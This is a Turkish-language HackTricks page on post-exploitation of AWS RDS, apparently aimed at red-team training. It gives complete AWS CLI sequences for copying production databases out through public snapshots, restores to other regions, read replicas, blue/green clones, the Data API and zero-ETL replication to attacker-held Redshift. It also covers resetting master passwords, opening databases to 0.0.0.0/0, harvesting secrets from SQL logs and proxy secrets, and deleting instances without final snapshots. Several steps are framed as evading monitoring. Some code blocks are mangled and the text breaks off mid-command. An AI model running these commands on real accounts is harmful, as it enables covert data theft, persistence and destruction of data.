AWS - RDS Post Exploitation

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

RDS

Daha fazla bilgi için bakın:

AWS - Relational Database (RDS) Enum

rds:CreateDBSnapshot, rds:RestoreDBInstanceFromDBSnapshot, rds:ModifyDBInstance

Eğer saldırganın yeterli izinleri varsa, DB’nin bir snapshot’unu oluşturarak ve bu snapshot’tan halka açık bir DB oluşturarak bir DB’yi herkese açık hale getirebilir.

aws rds describe-db-instances # Get DB identifier

aws rds create-db-snapshot \
--db-instance-identifier <db-id> \
--db-snapshot-identifier cloudgoat

# Get subnet groups & security groups
aws rds describe-db-subnet-groups
aws ec2 describe-security-groups

aws rds restore-db-instance-from-db-snapshot \
--db-instance-identifier "new-db-not-malicious" \
--db-snapshot-identifier <scapshotId> \
--db-subnet-group-name <db subnet group> \
--publicly-accessible \
--vpc-security-group-ids <ec2-security group>

aws rds modify-db-instance \
--db-instance-identifier "new-db-not-malicious" \
--master-user-password 'Llaody2f6.123' \
--apply-immediately

# Connect to the new DB after a few mins

rds:StopDBCluster & rds:StopDBInstance

rds:StopDBCluster veya rds:StopDBInstance izinlerine sahip bir saldırgan, bir RDS instance’ını veya tüm bir cluster’ı anında durdurmaya zorlayabilir; bu da veritabanının kullanılamaz hale gelmesine, bağlantıların kopmasına ve veritabanına bağlı süreçlerin kesintiye uğramasına neden olur.

Tek bir DB instance’ını durdurmak için (örnek):

aws rds stop-db-instance \
--db-instance-identifier <DB_INSTANCE_IDENTIFIER>

Tüm DB kümesini durdurmak için (örnek):

aws rds stop-db-cluster \
--db-cluster-identifier <DB_CLUSTER_IDENTIFIER>

rds:Modify*

rds:Modify* izinleri verilen bir saldırgan, instance veya cluster’a doğrudan dokunmadan kritik yapılandırmaları ve yardımcı kaynakları (parameter groups, option groups, proxy endpoints and endpoint-groups, target groups, subnet groups, capacity settings, snapshot/cluster attributes, certificates, integrations, vb.) değiştirebilir. Bağlantı/zaman aşımı parametrelerini ayarlamak, bir proxy endpoint’i değiştirmek, hangi sertifikaların güvenilir olduğunu değiştirmek, mantıksal kapasiteyi değiştirmek veya bir subnet group’u yeniden yapılandırmak gibi değişiklikler güvenliği zayıflatabilir (yeni erişim yolları açar), yönlendirmeyi ve load-balancing’i bozabilir, replika/yedekleme politikalarını geçersiz kılabilir ve genel olarak erişilebilirlik veya kurtarılabilirliği düşürebilir. Bu değişiklikler ayrıca dolaylı veri sızdırılmasını kolaylaştırabilir veya bir olay sonrası veritabanının düzenli bir şekilde kurtarılmasını zorlaştırabilir.

Bir RDS subnet group’a atanmış subnets’i taşıyın veya değiştirin:

aws rds modify-db-subnet-group \
--db-subnet-group-name <db-subnet-group-name> \
--subnet-ids <subnet-id-1> <subnet-id-2>

Bir cluster parameter group’taki düşük seviyeli engine parametrelerini değiştirin:

aws rds modify-db-cluster-parameter-group \
--db-cluster-parameter-group-name <parameter-group-name> \
--parameters "ParameterName=<parameter-name>,ParameterValue=<value>,ApplyMethod=immediate"

rds:Restore*

rds:Restore* izinlerine sahip bir saldırgan, snapshots, automated backups, point-in-time recovery (PITR) veya S3’te saklanan dosyalardan tüm veritabanlarını geri yükleyerek seçilen noktadaki verilerle doldurulmuş yeni instances veya clusters oluşturabilir. Bu işlemler orijinal kaynakların üzerine yazmaz — tarihsel verileri içeren yeni nesneler oluştururlar — bu sayede saldırgan veritabanının tam, çalışır kopyalarını (geçmiş zaman noktalarından veya harici S3 dosyalarından) elde edip bunları exfiltrate etme, tarihsel kayıtları manipüle etme veya önceki durumları yeniden kurma amacıyla kullanabilir.

Restore a DB instance to a specific point in time:

aws rds restore-db-instance-to-point-in-time \
--source-db-instance-identifier <source-db-instance-identifier> \
--target-db-instance-identifier <target-db-instance-identifier> \
--restore-time "<restore-time-ISO8601>" \
--db-instance-class <db-instance-class> \
--publicly-accessible --no-multi-az

rds:Delete*

rds:Delete* yetkisi verilen bir saldırgan RDS kaynaklarını kaldırabilir; DB instances, clusters, snapshots, automated backups, subnet groups, parameter/option groups ve related artifacts silebilir; bu durum anında hizmet kesintisine, veri kaybına, kurtarma noktalarının yok olmasına ve adli kanıtların kaybına yol açar.

# Delete a DB instance (creates a final snapshot unless you skip it)
aws rds delete-db-instance \
--db-instance-identifier <DB_INSTANCE_ID> \
--final-db-snapshot-identifier <FINAL_SNAPSHOT_ID>     # omit or replace with --skip-final-snapshot to avoid snapshot

# Delete a DB instance and skip final snapshot (more destructive)
aws rds delete-db-instance \
--db-instance-identifier <DB_INSTANCE_ID> \
--skip-final-snapshot

# Delete a manual DB snapshot
aws rds delete-db-snapshot \
--db-snapshot-identifier <DB_SNAPSHOT_ID>

# Delete an Aurora DB cluster (creates a final snapshot unless you skip)
aws rds delete-db-cluster \
--db-cluster-identifier <DB_CLUSTER_ID> \
--final-db-snapshot-identifier <FINAL_CLUSTER_SNAPSHOT_ID>   # or use --skip-final-snapshot

rds:ModifyDBSnapshotAttribute, rds:CreateDBSnapshot

Bu izinlere sahip bir saldırgan bir DB’nin snapshot’ını oluşturabilir ve bunu herkese açık hale getirebilir. Ardından kendi hesabında bu snapshot’tan bir DB oluşturabilir.

Eğer saldırgan rds:CreateDBSnapshot iznine sahip değilse, yine de diğer oluşturulmuş snapshot’ları herkese açık yapabilir.

# create snapshot
aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>

# Make it public/share with attackers account
aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all
## Specify account IDs instead of "all" to give access only to a specific account: --values-to-add {"111122223333","444455556666"}

rds:DownloadDBLogFilePortion

rds:DownloadDBLogFilePortion iznine sahip bir saldırgan, bir RDS instance’ının log dosyalarının belirli bölümlerini indirebilir. Eğer hassas veriler veya erişim kimlik bilgileri kazara loglanırsa, saldırgan bu bilgileri ayrıcalıklarını yükseltmek veya yetkisiz işlemler gerçekleştirmek için kullanabilir.

aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text

Potansiyel Etki: Hassas bilgilere erişim veya leaked credentials kullanılarak yetkisiz işlemler.

rds:DeleteDBInstance

Bu izinlere sahip bir saldırgan DoS existing RDS instances gerçekleştirebilir.

# Delete
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot

Olası etki: Mevcut RDS örneklerinin silinmesi ve olası veri kaybı.

rds:StartExportTask

Note

TODO: Test

Bu izne sahip bir saldırgan RDS örneğinin snapshot’ını bir S3 bucket’a dışa aktarabilir. Eğer saldırgan hedef S3 bucket üzerinde kontrol sahibi ise, dışa aktarılan snapshot içindeki hassas verilere erişebilir.

aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id

Potansiyel etki: Dışa aktarılan snapshot içindeki hassas verilere erişim.

Gizli Geri Yükleme için Bölge-Arası Otomatik Yedeklerin Replikasyonu (rds:StartDBInstanceAutomatedBackupsReplication)

Bölge-arası otomatik yedeklerin replikasyonunu kötüye kullanarak bir RDS instance’ının otomatik yedeklerini başka bir AWS Region’a sessizce çoğaltabilir ve orada geri yükleyebilirsiniz. Saldırgan daha sonra geri yüklenen DB’yi genel erişime açıp master parolayı sıfırlayarak, savunma ekiplerinin izlemediği bir Region’da veriye out-of-band erişim sağlayabilir.

Gerekli izinler (asgari):

  • rds:StartDBInstanceAutomatedBackupsReplication in the destination Region
  • rds:DescribeDBInstanceAutomatedBackups in the destination Region
  • rds:RestoreDBInstanceToPointInTime in the destination Region
  • rds:ModifyDBInstance in the destination Region
  • rds:StopDBInstanceAutomatedBackupsReplication (optional cleanup)
  • ec2:CreateSecurityGroup, ec2:AuthorizeSecurityGroupIngress (to expose the restored DB)

Etkisi: Üretim verisinin bir kopyasını başka bir Region’a geri yükleyip, saldırgan kontrollü kimlik bilgileriyle bunu genel erişime açarak persistence ve data exfiltration gerçekleştirilmesi.

Uçtan uca CLI (yer tutucuları değiştirin) ```bash # 1) Recon (SOURCE region A) aws rds describe-db-instances \ --region \ --query 'DBInstances[*].[DBInstanceIdentifier,DBInstanceArn,Engine,DBInstanceStatus,PreferredBackupWindow]' \ --output table

2) Start cross-Region automated backups replication (run in DEST region B)

aws rds start-db-instance-automated-backups-replication
–region <DEST_REGION>
–source-db-instance-arn <SOURCE_DB_INSTANCE_ARN>
–source-region <SOURCE_REGION>
–backup-retention-period 7

3) Wait for replication to be ready in DEST

aws rds describe-db-instance-automated-backups
–region <DEST_REGION>
–query ‘DBInstanceAutomatedBackups[*].[DBInstanceAutomatedBackupsArn,DBInstanceIdentifier,Status]’
–output table

Proceed when Status is “replicating” or “active” and note the DBInstanceAutomatedBackupsArn

4) Restore to latest restorable time in DEST

aws rds restore-db-instance-to-point-in-time
–region <DEST_REGION>
–source-db-instance-automated-backups-arn <AUTO_BACKUP_ARN>
–target-db-instance-identifier <TARGET_DB_ID>
–use-latest-restorable-time
–db-instance-class db.t3.micro aws rds wait db-instance-available –region <DEST_REGION> –db-instance-identifier <TARGET_DB_ID>

5) Make public and reset credentials in DEST

5a) Create/choose an open SG permitting TCP/3306 (adjust engine/port as needed)

OPEN_SG_ID=$(aws ec2 create-security-group –region <DEST_REGION>
–group-name open-rds- –description open –vpc-id <DEST_VPC_ID>
–query GroupId –output text) aws ec2 authorize-security-group-ingress –region <DEST_REGION>
–group-id “$OPEN_SG_ID”
–ip-permissions IpProtocol=tcp,FromPort=3306,ToPort=3306,IpRanges=‘[{CidrIp=0.0.0.0/0}]’

5b) Publicly expose restored DB and attach the SG

aws rds modify-db-instance –region <DEST_REGION>
–db-instance-identifier <TARGET_DB_ID>
–publicly-accessible
–vpc-security-group-ids “$OPEN_SG_ID”
–apply-immediately aws rds wait db-instance-available –region <DEST_REGION> –db-instance-identifier <TARGET_DB_ID>

5c) Reset the master password

aws rds modify-db-instance –region <DEST_REGION>
–db-instance-identifier <TARGET_DB_ID>
–master-user-password ‘<NEW_STRONG_PASSWORD>’
–apply-immediately aws rds wait db-instance-available –region <DEST_REGION> –db-instance-identifier <TARGET_DB_ID>

6) Connect to <TARGET_DB_ID> endpoint and validate data (example for MySQL)

ENDPOINT=$(aws rds describe-db-instances –region <DEST_REGION>
–db-instance-identifier <TARGET_DB_ID>
–query ‘DBInstances[0].Endpoint.Address’ –output text) mysql -h “$ENDPOINT” -u <MASTER_USERNAME> -p’<NEW_STRONG_PASSWORD>’ -e ‘SHOW DATABASES;’

7) Optional: stop replication

aws rds stop-db-instance-automated-backups-replication
–region <DEST_REGION>
–source-db-instance-arn <SOURCE_DB_INSTANCE_ARN>

</details>


### DB parameter groups aracılığıyla tam SQL logging'i etkinleştir ve RDS log API'leri ile exfiltrate et

`rds:ModifyDBParameterGroup`'ı RDS log download API'leri ile kötüye kullanarak uygulamalar tarafından çalıştırılan tüm SQL ifadelerini yakala (DB engine kimlik bilgileri gerekmez). Engine SQL logging'i etkinleştir ve dosya loglarını `rds:DescribeDBLogFiles` ve `rds:DownloadDBLogFilePortion` (veya REST `downloadCompleteLogFile`) ile çek. Sırlar/PII/JWTs içerebilecek sorguları toplamak için kullanışlıdır.

Gerekli izinler (minimum):
- `rds:DescribeDBInstances`, `rds:DescribeDBLogFiles`, `rds:DownloadDBLogFilePortion`
- `rds:CreateDBParameterGroup`, `rds:ModifyDBParameterGroup`
- `rds:ModifyDBInstance` (sadece instance varsayılan parameter group kullanıyorsa custom parameter group eklemek için)
- `rds:RebootDBInstance` (yeniden başlatma gerektiren parametreler için, örn. PostgreSQL)

Adımlar
1) Hedefi ve mevcut parameter group'u keşfet
```bash
aws rds describe-db-instances \
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \
--output table
  1. Özel bir DB parameter group’un iliştirilmiş olduğundan emin olun (varsayılanı düzenleyemezsiniz)
  • Eğer instance zaten bir custom group kullanıyorsa, bir sonraki adımda ismini yeniden kullanın.
  • Aksi halde engine family ile eşleşen bir tane oluşturup iliştirin:
# Example for PostgreSQL 16
aws rds create-db-parameter-group \
--db-parameter-group-name ht-logs-pg \
--db-parameter-group-family postgres16 \
--description "HT logging"

aws rds modify-db-instance \
--db-instance-identifier <DB> \
--db-parameter-group-name ht-logs-pg \
--apply-immediately
# Wait until status becomes "available"
  1. Ayrıntılı SQL logging’i etkinleştir
  • MySQL motorları (anında / yeniden başlatma gerekmez):
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=general_log,ParameterValue=1,ApplyMethod=immediate" \
"ParameterName=log_output,ParameterValue=FILE,ApplyMethod=immediate"
# Optional extras:
#   "ParameterName=slow_query_log,ParameterValue=1,ApplyMethod=immediate" \
#   "ParameterName=long_query_time,ParameterValue=0,ApplyMethod=immediate"
  • PostgreSQL engine’leri (yeniden başlatma gerekli):
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=log_statement,ParameterValue=all,ApplyMethod=pending-reboot"
# Optional to log duration for every statement:
#   "ParameterName=log_min_duration_statement,ParameterValue=0,ApplyMethod=pending-reboot"

# Reboot if any parameter is pending-reboot
aws rds reboot-db-instance --db-instance-identifier <DB>
  1. İş yükünü çalıştırın (veya sorgular oluşturun). SQL ifadeleri engine file loglarına yazılacaktır
  • MySQL: general/mysql-general.log
  • PostgreSQL: postgresql.log
  1. Logları keşfedin ve indirin (DB creds gerekmez)
aws rds describe-db-log-files --db-instance-identifier <DB>

# Pull full file via portions (iterate until AdditionalDataPending=false). For small logs a single call is enough:
aws rds download-db-log-file-portion \
--db-instance-identifier <DB> \
--log-file-name general/mysql-general.log \
--starting-token 0 \
--output text > dump.log
  1. Hassas verileri çevrimdışı analiz et
grep -Ei "password=|aws_access_key_id|secret|authorization:|bearer" dump.log | sed 's/\(aws_access_key_id=\)[A-Z0-9]*/\1AKIA.../; s/\(secret=\).*/\1REDACTED/; s/\(Bearer \).*/\1REDACTED/' | head

Örnek kanıt (sansürlenmiş):

2025-10-06T..Z    13 Query  INSERT INTO t(note) VALUES ('user=alice password=Sup3rS3cret!')
2025-10-06T..Z    13 Query  INSERT INTO t(note) VALUES ('authorization: Bearer REDACTED')
2025-10-06T..Z    13 Query  INSERT INTO t(note) VALUES ('aws_access_key_id=AKIA... secret=REDACTED')

Temizlik

  • Parametreleri varsayılanlara geri al ve gerekiyorsa yeniden başlat:
# MySQL
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=general_log,ParameterValue=0,ApplyMethod=immediate"

# PostgreSQL
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot"
# Reboot if pending-reboot

Etkisi: Post-exploitation aşamasında, AWS API’leri aracılığıyla (DB kimlik bilgileri olmadan) tüm uygulama SQL ifadelerinin yakalanmasıyla veri erişimi; potansiyel olarak secrets, JWTs ve PII’nin leak’ine yol açabilir.

rds:CreateDBInstanceReadReplica, rds:ModifyDBInstance

RDS read replicas’i suistimal ederek primary instance’ın kimlik bilgilerine dokunmadan out-of-band read access elde edilebilir. Bir saldırgan production instance’dan bir read replica oluşturabilir, replica’nın master password’ünü sıfırlayabilir (bu primary’i değiştirmez) ve isteğe bağlı olarak verileri exfiltrate etmek için replica’yı public olarak açabilir.

Gerekli izinler (minimum):

  • rds:DescribeDBInstances
  • rds:CreateDBInstanceReadReplica
  • rds:ModifyDBInstance
  • ec2:CreateSecurityGroup, ec2:AuthorizeSecurityGroupIngress (eğer public olarak açılıyorsa)

Etkisi: Saldırgan kontrollü kimlik bilgileriyle bir replica üzerinden production verilerine salt-okunur erişim; primary’a dokunulmadığı ve replication devam ettiği için tespit edilme olasılığı daha düşüktür.

# 1) Recon: find non-Aurora sources with backups enabled
aws rds describe-db-instances \
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBInstanceArn,DBSubnetGroup.DBSubnetGroupName,VpcSecurityGroups[0].VpcSecurityGroupId,PubliclyAccessible]' \
--output table

# 2) Create a permissive SG (replace <VPC_ID> and <YOUR_IP/32>)
aws ec2 create-security-group --group-name rds-repl-exfil --description 'RDS replica exfil' --vpc-id <VPC_ID> --query GroupId --output text
aws ec2 authorize-security-group-ingress --group-id <SGID> --ip-permissions '[{"IpProtocol":"tcp","FromPort":3306,"ToPort":3306,"IpRanges":[{"CidrIp":"<YOUR_IP/32>","Description":"tester"}]}]'

# 3) Create the read replica (optionally public)
aws rds create-db-instance-read-replica \
--db-instance-identifier <REPL_ID> \
--source-db-instance-identifier <SOURCE_DB> \
--db-instance-class db.t3.medium \
--publicly-accessible \
--vpc-security-group-ids <SGID>
aws rds wait db-instance-available --db-instance-identifier <REPL_ID>

# 4) Reset ONLY the replica master password (primary unchanged)
aws rds modify-db-instance --db-instance-identifier <REPL_ID> --master-user-password 'NewStr0ng!Passw0rd' --apply-immediately
aws rds wait db-instance-available --db-instance-identifier <REPL_ID>

# 5) Connect and dump (use the SOURCE master username + NEW password)
REPL_ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier <REPL_ID> --query 'DBInstances[0].Endpoint.Address' --output text)
# e.g., with mysql client:  mysql -h "$REPL_ENDPOINT" -u <MASTER_USERNAME> -p'NewStr0ng!Passw0rd' -e 'SHOW DATABASES; SELECT @@read_only, CURRENT_USER();'

# Optional: promote for persistence
# aws rds promote-read-replica --db-instance-identifier <REPL_ID>

Örnek kanıt (MySQL):

  • Replika DB durumu: available, okuma replikasyonu: replicating
  • Yeni parola ile başarılı bağlantı ve @@read_only=1 değeri, salt okunur replika erişimini doğruladı.

rds:CreateBlueGreenDeployment, rds:ModifyDBInstance

RDS Blue/Green’i kötüye kullanarak üretim DB’yi sürekli replikasyonlu, salt okunur green ortamına klonlayın. Ardından green master kimlik bilgilerini sıfırlayarak blue (prod) instance’a dokunmadan verilere erişin. Bu, snapshot sharing’e göre daha gizlidir ve genellikle yalnızca kaynağa odaklanan izlemeyi atlatır.

# 1) Recon – find eligible source (non‑Aurora MySQL/PostgreSQL in the same account)
aws rds describe-db-instances \
--query 'DBInstances[*].[DBInstanceIdentifier,DBInstanceArn,Engine,EngineVersion,DBSubnetGroup.DBSubnetGroupName,PubliclyAccessible]'

# Ensure: automated backups enabled on source (BackupRetentionPeriod > 0), no RDS Proxy, supported engine/version

# 2) Create Blue/Green deployment (replicates blue->green continuously)
aws rds create-blue-green-deployment \
--blue-green-deployment-name ht-bgd-attack \
--source <BLUE_DB_ARN> \
# Optional to upgrade: --target-engine-version <same-or-higher-compatible>

# Wait until deployment Status becomes AVAILABLE, then note the green DB id
aws rds describe-blue-green-deployments \
--blue-green-deployment-identifier <BGD_ID> \
--query 'BlueGreenDeployments[0].SwitchoverDetails[0].TargetMember'

# Typical green id: <blue>-green-XXXX

# 3) Reset the green master password (does not affect blue)
aws rds modify-db-instance \
--db-instance-identifier <GREEN_DB_ID> \
--master-user-password 'Gr33n!Exfil#1' \
--apply-immediately

# Optional: expose the green for direct access (attach an SG that allows the DB port)
aws rds modify-db-instance \
--db-instance-identifier <GREEN_DB_ID> \
--publicly-accessible \
--vpc-security-group-ids <SG_ALLOWING_DB_PORT> \
--apply-immediately

# 4) Connect to the green endpoint and query/exfiltrate (green is read‑only)
aws rds describe-db-instances \
--db-instance-identifier <GREEN_DB_ID> \
--query 'DBInstances[0].Endpoint.Address' --output text

# Then connect with the master username and the new password and run SELECT/dumps
# e.g. MySQL: mysql -h <endpoint> -u <master_user> -p'Gr33n!Exfil#1'

# 5) Cleanup – remove blue/green and the green resources
aws rds delete-blue-green-deployment \
--blue-green-deployment-identifier <BGD_ID> \
--delete-target true

Etkisi: Salt-okuma ancak üretim örneğini değiştirmeden üretimin neredeyse gerçek zamanlı bir kopyasına tam veri erişimi. Gizli veri çıkarımı ve çevrimdışı analiz için faydalı.

RDS Data API ile dış-kanal SQL — HTTP endpoint etkinleştirip master şifreyi sıfırlayarak

Aurora’yı kötüye kullanarak hedef kümede RDS Data API HTTP endpoint’ini etkinleştirin, master şifreyi kontrolünüzde olan bir değere sıfırlayın ve HTTPS üzerinden SQL çalıştırın (VPC ağ yolu gerekmez). Bu, Data API/EnableHttpEndpoint’ı destekleyen Aurora motorlarında çalışır (örn. Aurora MySQL 8.0 provisioned; bazı Aurora PostgreSQL/MySQL sürümleri).

İzinler (asgari):

  • rds:DescribeDBClusters, rds:ModifyDBCluster (or rds:EnableHttpEndpoint)
  • secretsmanager:CreateSecret
  • rds-data:ExecuteStatement (and rds-data:BatchExecuteStatement if used)

Etkisi: Ağ segmentasyonunu atlayarak DB’ye doğrudan VPC bağlantısı olmadan AWS APIs üzerinden veri sızdırmak.

Uçtan uca CLI (Aurora MySQL örneği) ```bash # 1) Identify target cluster ARN REGION=us-east-1 CLUSTER_ID= CLUSTER_ARN=$(aws rds describe-db-clusters --region $REGION \ --db-cluster-identifier $CLUSTER_ID \ --query 'DBClusters[0].DBClusterArn' --output text)

2) Enable Data API HTTP endpoint on the cluster

Either of the following (depending on API/engine support):

aws rds enable-http-endpoint –region $REGION –resource-arn “$CLUSTER_ARN”

or

aws rds modify-db-cluster –region $REGION –db-cluster-identifier $CLUSTER_ID
–enable-http-endpoint –apply-immediately

Wait until HttpEndpointEnabled is True

aws rds wait db-cluster-available –region $REGION –db-cluster-identifier $CLUSTER_ID aws rds describe-db-clusters –region $REGION –db-cluster-identifier $CLUSTER_ID
–query ‘DBClusters[0].HttpEndpointEnabled’ –output text

3) Reset master password to attacker-controlled value

aws rds modify-db-cluster –region $REGION –db-cluster-identifier $CLUSTER_ID
–master-user-password ‘Sup3rStr0ng!1’ –apply-immediately

Wait until pending password change is applied

while :; do aws rds wait db-cluster-available –region $REGION –db-cluster-identifier $CLUSTER_ID P=$(aws rds describe-db-clusters –region $REGION –db-cluster-identifier $CLUSTER_ID
–query ‘DBClusters[0].PendingModifiedValues.MasterUserPassword’ –output text) [[ “$P” == “None” || “$P” == “null” ]] && break sleep 10 done

4) Create a Secrets Manager secret for Data API auth

SECRET_ARN=$(aws secretsmanager create-secret –region $REGION –name rdsdata/demo-$CLUSTER_ID
–secret-string ‘{“username”:“admin”,“password”:“Sup3rStr0ng!1”}’
–query ARN –output text)

5) Prove out-of-band SQL via HTTPS using rds-data

(Example with Aurora MySQL; for PostgreSQL, adjust SQL and username accordingly)

aws rds-data execute-statement –region $REGION –resource-arn “$CLUSTER_ARN”
–secret-arn “$SECRET_ARN” –database mysql –sql “create database if not exists demo;” aws rds-data execute-statement –region $REGION –resource-arn “$CLUSTER_ARN”
–secret-arn “$SECRET_ARN” –database demo –sql “create table if not exists pii(note text);” aws rds-data execute-statement –region $REGION –resource-arn “$CLUSTER_ARN”
–secret-arn “$SECRET_ARN” –database demo –sql “insert into pii(note) values (‘token=SECRET_JWT’);” aws rds-data execute-statement –region $REGION –resource-arn “$CLUSTER_ARN”
–secret-arn “$SECRET_ARN” –database demo –sql “select current_user(), now(), (select count(*) from pii) as row_count;”
–format-records-as JSON

</details>

Notlar:
- Eğer rds-data çoklu ifadeli SQL'i reddediyorsa, ayrı execute-statement çağrıları yapın.
- modify-db-cluster --enable-http-endpoint'in etkili olmadığı motorlar için, rds enable-http-endpoint --resource-arn kullanın.
- Motorun/sürümün gerçekten Data API'yi desteklediğinden emin olun; aksi halde HttpEndpointEnabled False olarak kalır.


### RDS Proxy kimlik doğrulama secret'ları aracılığıyla DB kimlik bilgilerini toplama (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)

RDS Proxy yapılandırmasını kötüye kullanarak backend kimlik doğrulaması için kullanılan Secrets Manager secret'ını keşfedin, ardından veritabanı kimlik bilgilerini elde etmek için secret'ı okuyun. Birçok ortam geniş `secretsmanager:GetSecretValue` izinleri verir; bu da DB kimlik bilgilerine düşük sürtünmeli bir pivot sağlar. Eğer secret bir CMK kullanıyorsa, hatalı tanımlanmış KMS izinleri `kms:Decrypt`'e de izin verebilir.

Gerekli izinler (asgari):
- `rds:DescribeDBProxies`
- Referans verilen SecretArn üzerinde `secretsmanager:GetSecretValue`
- Secret bir CMK kullanıyorsa isteğe bağlı: o anahtar üzerinde `kms:Decrypt`

Etkisi: Proxy üzerinde yapılandırılmış DB kullanıcı adı/parolasının anında ifşası; doğrudan DB erişimi veya further lateral movement sağlar.

Adımlar
```bash
# 1) Enumerate proxies and extract the SecretArn used for auth
aws rds describe-db-proxies \
--query DBProxies[*].[DBProxyName,Auth[0].AuthScheme,Auth[0].SecretArn] \
--output table

# 2) Read the secret value (common over-permission)
aws secretsmanager get-secret-value \
--secret-id <SecretArnFromProxy> \
--query SecretString --output text
# Example output: {"username":"admin","password":"S3cr3t!"}

Laboratuvar (yeniden üretmek için minimum)

REGION=us-east-1
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
SECRET_ARN=$(aws secretsmanager create-secret \
--region $REGION --name rds/proxy/aurora-demo \
--secret-string username:admin \
--query ARN --output text)
aws iam create-role --role-name rds-proxy-secret-role \
--assume-role-policy-document Version:2012-10-17
aws iam attach-role-policy --role-name rds-proxy-secret-role \
--policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite
aws rds create-db-proxy --db-proxy-name p0 --engine-family MYSQL \
--auth [AuthScheme:SECRETS] \
--role-arn arn:aws:iam::$ACCOUNT_ID:role/rds-proxy-secret-role \
--vpc-subnet-ids $(aws ec2 describe-subnets --filters Name=default-for-az,Values=true --query Subnets[].SubnetId --output text)
aws rds wait db-proxy-available --db-proxy-name p0
# Now run the enumeration + secret read from the Steps above

Temizlik (lab)

aws rds delete-db-proxy --db-proxy-name p0
aws iam detach-role-policy --role-name rds-proxy-secret-role --policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite
aws iam delete-role --role-name rds-proxy-secret-role
aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delete-without-recovery

Gizli ve sürekli exfiltration: Aurora zero‑ETL aracılığıyla Amazon Redshift’e (rds:CreateIntegration)

Aurora PostgreSQL zero‑ETL entegrasyonunu kötüye kullanarak üretim verilerini kontrolünüz altındaki bir Redshift Serverless namespace’ine sürekli olarak çoğaltın. Belirli bir Aurora cluster ARN’si için CreateInboundIntegration/AuthorizeInboundIntegration yetkisi veren esnek bir Redshift kaynak politikası ile bir saldırgan, DB kimlik bilgileri, snapshot’lar veya ağ maruziyeti olmadan neredeyse gerçek zamanlı bir veri kopyası oluşturabilir.

Gerekli izinler (minimum):

  • rds:CreateIntegration, rds:DescribeIntegrations, rds:DeleteIntegration
  • redshift:PutResourcePolicy, redshift:DescribeInboundIntegrations, redshift:DescribeIntegrations
  • redshift-data:ExecuteStatement/GetStatementResult/ListDatabases (to query)
  • rds-data:ExecuteStatement (optional; to seed data if needed)

Test edildi: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless.

1) Redshift Serverless namespace + workgroup oluşturma ```bash REGION=us-east-1 RS_NS_ARN=$(aws redshift-serverless create-namespace --region $REGION --namespace-name ztl-ns \ --admin-username adminuser --admin-user-password 'AdminPwd-1!' \ --query namespace.namespaceArn --output text) RS_WG_ARN=$(aws redshift-serverless create-workgroup --region $REGION --workgroup-name ztl-wg \ --namespace-name ztl-ns --base-capacity 8 --publicly-accessible \ --query workgroup.workgroupArn --output text) # Wait until AVAILABLE, then enable case sensitivity (required for PostgreSQL) aws redshift-serverless update-workgroup --region $REGION --workgroup-name ztl-wg \ --config-parameters parameterKey=enable_case_sensitive_identifier,parameterValue=true ```
2) Redshift kaynak politikasını Aurora kaynağına izin verecek şekilde yapılandırın ```bash ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text) SRC_ARN= cat > rs-rp.json <
3) Aurora PostgreSQL kümesi oluştur (Data API ve logical replication etkinleştir) ```bash CLUSTER_ID=aurora-ztl aws rds create-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \ --engine aurora-postgresql --engine-version 16.4 \ --master-username postgres --master-user-password 'InitPwd-1!' \ --enable-http-endpoint --no-deletion-protection --backup-retention-period 1 aws rds wait db-cluster-available --region $REGION --db-cluster-identifier $CLUSTER_ID # Serverless v2 instance aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \ --serverless-v2-scaling-configuration MinCapacity=0.5,MaxCapacity=1 --apply-immediately aws rds create-db-instance --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1 \ --db-instance-class db.serverless --engine aurora-postgresql --db-cluster-identifier $CLUSTER_ID aws rds wait db-instance-available --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1 # Cluster parameter group for zero‑ETL aws rds create-db-cluster-parameter-group --region $REGION --db-cluster-parameter-group-name apg16-ztl-zerodg \ --db-parameter-group-family aurora-postgresql16 --description "APG16 zero-ETL params" aws rds modify-db-cluster-parameter-group --region $REGION --db-cluster-parameter-group-name apg16-ztl-zerodg --parameters \ ParameterName=rds.logical_replication,ParameterValue=1,ApplyMethod=pending-reboot \ ParameterName=aurora.enhanced_logical_replication,ParameterValue=1,ApplyMethod=pending-reboot \ ParameterName=aurora.logical_replication_backup,ParameterValue=0,ApplyMethod=pending-reboot \ ParameterName=aurora.logical_replication_globaldb,ParameterValue=0,ApplyMethod=pending-reboot aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \ --db-cluster-parameter-group-name 